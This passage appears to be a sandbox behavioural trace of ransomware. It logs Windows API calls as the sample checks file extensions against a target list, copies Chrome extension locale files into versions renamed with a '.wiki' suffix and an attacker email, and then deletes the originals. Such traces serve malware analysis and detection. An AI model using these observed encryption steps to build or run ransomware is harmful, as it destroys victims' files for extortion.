[0180.471] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.471] lstrlenW (lpString=".dbf") returned 4 [0180.471] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.471] lstrlenW (lpString=".1cd") returned 4 [0180.471] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 151 [0180.471] lstrlenW (lpString=".jpg") returned 4 [0180.471] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.472] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.472] lstrlenW (lpString="messages.json") returned 13 [0180.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.472] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=265) returned 1 [0180.472] CloseHandle (hObject=0x160) returned 1 [0180.472] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json")) returned 0x2020 [0180.472] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.473] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.473] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.473] GetLastError () returned 0x0 [0180.473] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x109, lpOverlapped=0x0) returned 1 [0180.474] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.475] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.475] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.475] SetEndOfFile (hFile=0x198) returned 1 [0180.475] CloseHandle (hObject=0x198) returned 1 [0180.475] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.475] SetEndOfFile (hFile=0x160) returned 1 [0180.476] CloseHandle (hObject=0x160) returned 1 [0180.476] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.476] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json")) returned 1 [0180.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.477] lstrlenW (lpString=".doc") returned 4 [0180.477] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.477] lstrlenW (lpString=".docx") returned 5 [0180.477] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.477] lstrlenW (lpString=".pdf") returned 4 [0180.477] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.477] lstrlenW (lpString=".xls") returned 4 [0180.477] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.477] lstrlenW (lpString=".xlsx") returned 5 [0180.477] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.477] lstrlenW (lpString=".ppt") returned 4 [0180.477] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.477] lstrlenW (lpString=".zip") returned 4 [0180.477] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.477] lstrlenW (lpString=".rar") returned 4 [0180.477] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.477] lstrlenW (lpString=".bz2") returned 4 [0180.477] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.477] lstrlenW (lpString=".7z") returned 3 [0180.477] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.477] lstrlenW (lpString=".dbf") returned 4 [0180.477] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.477] lstrlenW (lpString=".1cd") returned 4 [0180.477] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.478] lstrlenW (lpString=".jpg") returned 4 [0180.478] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.478] lstrlenW (lpString=".doc") returned 4 [0180.478] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.478] lstrlenW (lpString=".docx") returned 5 [0180.478] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.478] lstrlenW (lpString=".pdf") returned 4 [0180.478] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.478] lstrlenW (lpString=".xls") returned 4 [0180.478] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.478] lstrlenW (lpString=".xlsx") returned 5 [0180.478] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.478] lstrlenW (lpString=".ppt") returned 4 [0180.478] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.478] lstrlenW (lpString=".zip") returned 4 [0180.478] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.478] lstrlenW (lpString=".rar") returned 4 [0180.478] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.478] lstrlenW (lpString=".bz2") returned 4 [0180.478] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.478] lstrlenW (lpString=".7z") returned 3 [0180.478] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.478] lstrlenW (lpString=".dbf") returned 4 [0180.478] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.479] lstrlenW (lpString=".1cd") returned 4 [0180.479] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 151 [0180.479] lstrlenW (lpString=".jpg") returned 4 [0180.479] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.479] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.479] lstrlenW (lpString="messages.json") returned 13 [0180.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.479] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=286) returned 1 [0180.480] CloseHandle (hObject=0x160) returned 1 [0180.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json")) returned 0x2020 [0180.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.480] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.480] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.481] GetLastError () returned 0x0 [0180.481] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x11e, lpOverlapped=0x0) returned 1 [0180.482] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x120, lpOverlapped=0x0) returned 1 [0180.483] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.483] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.483] SetEndOfFile (hFile=0x198) returned 1 [0180.483] CloseHandle (hObject=0x198) returned 1 [0180.483] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.483] SetEndOfFile (hFile=0x160) returned 1 [0180.484] CloseHandle (hObject=0x160) returned 1 [0180.484] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.484] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json")) returned 1 [0180.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.484] lstrlenW (lpString=".doc") returned 4 [0180.485] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.485] lstrlenW (lpString=".docx") returned 5 [0180.485] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.485] lstrlenW (lpString=".pdf") returned 4 [0180.485] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.485] lstrlenW (lpString=".xls") returned 4 [0180.485] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.485] lstrlenW (lpString=".xlsx") returned 5 [0180.485] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.485] lstrlenW (lpString=".ppt") returned 4 [0180.485] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.485] lstrlenW (lpString=".zip") returned 4 [0180.485] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.485] lstrlenW (lpString=".rar") returned 4 [0180.485] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.485] lstrlenW (lpString=".bz2") returned 4 [0180.485] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.485] lstrlenW (lpString=".7z") returned 3 [0180.485] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.485] lstrlenW (lpString=".dbf") returned 4 [0180.485] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.485] lstrlenW (lpString=".1cd") returned 4 [0180.485] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.485] lstrlenW (lpString=".jpg") returned 4 [0180.485] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.486] lstrlenW (lpString=".doc") returned 4 [0180.486] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.486] lstrlenW (lpString=".docx") returned 5 [0180.486] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.486] lstrlenW (lpString=".pdf") returned 4 [0180.486] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.486] lstrlenW (lpString=".xls") returned 4 [0180.486] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.486] lstrlenW (lpString=".xlsx") returned 5 [0180.486] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.486] lstrlenW (lpString=".ppt") returned 4 [0180.486] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.486] lstrlenW (lpString=".zip") returned 4 [0180.486] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.486] lstrlenW (lpString=".rar") returned 4 [0180.486] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.486] lstrlenW (lpString=".bz2") returned 4 [0180.486] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.486] lstrlenW (lpString=".7z") returned 3 [0180.486] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.486] lstrlenW (lpString=".dbf") returned 4 [0180.486] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.486] lstrlenW (lpString=".1cd") returned 4 [0180.486] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 151 [0180.487] lstrlenW (lpString=".jpg") returned 4 [0180.487] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.487] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.487] lstrlenW (lpString="messages.json") returned 13 [0180.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.487] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=210) returned 1 [0180.487] CloseHandle (hObject=0x160) returned 1 [0180.487] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json")) returned 0x2020 [0180.487] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.488] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.488] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 